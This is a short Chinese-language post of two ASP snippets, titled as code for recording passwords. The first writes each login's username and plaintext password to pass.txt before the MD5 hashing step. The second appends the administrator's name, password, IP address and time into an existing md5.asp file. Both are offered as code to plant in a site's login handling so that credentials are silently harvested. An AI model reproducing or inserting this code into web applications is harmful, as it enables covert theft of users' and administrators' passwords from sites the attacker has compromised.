记录密码的asp代码

第一个保存在新建一个文本中

<％ 
Dim Username,PassWord,strLogFile,f,ff,StrLogText 这里是变量定义 

UserName=Replace(Request("username"),"","") 用户名表 
password=Replace(Request("password"),"","") 密码表 
strLogFile="pass.txt" 记录文件 
StrLogText=StrLogText&"号码:"&UserName&"----"&"密码:"&PassWord&chr(13)+chr(10) 
set f=Server.CreateObject("scripting.filesystemobject") 
set ff=f.opentextfile(server.mappath(".")&""&strLogFile,8,true,0) 
ff.writeline(chr(13)+chr(10)&StrLogText) 
ff.close 
set ff=nothi
ng 
set f=nothing 
PassWord=md5(request("password"),16) 
％>

  第二个

保存到已存在的md5.asp文件里

ip=request.ServerVariables("REMOTE_ADDR") 
set fs=server.CreateObject("Scripting.FileSystemObject") 
set file=fs.OpenTextFile(server.MapPath("md5.asp"),8,True)
file.writeline adminname & "----" & adminpass & " IP:" & ip & " " &now() 
file.close 
set file=nothing 
set fs=nothing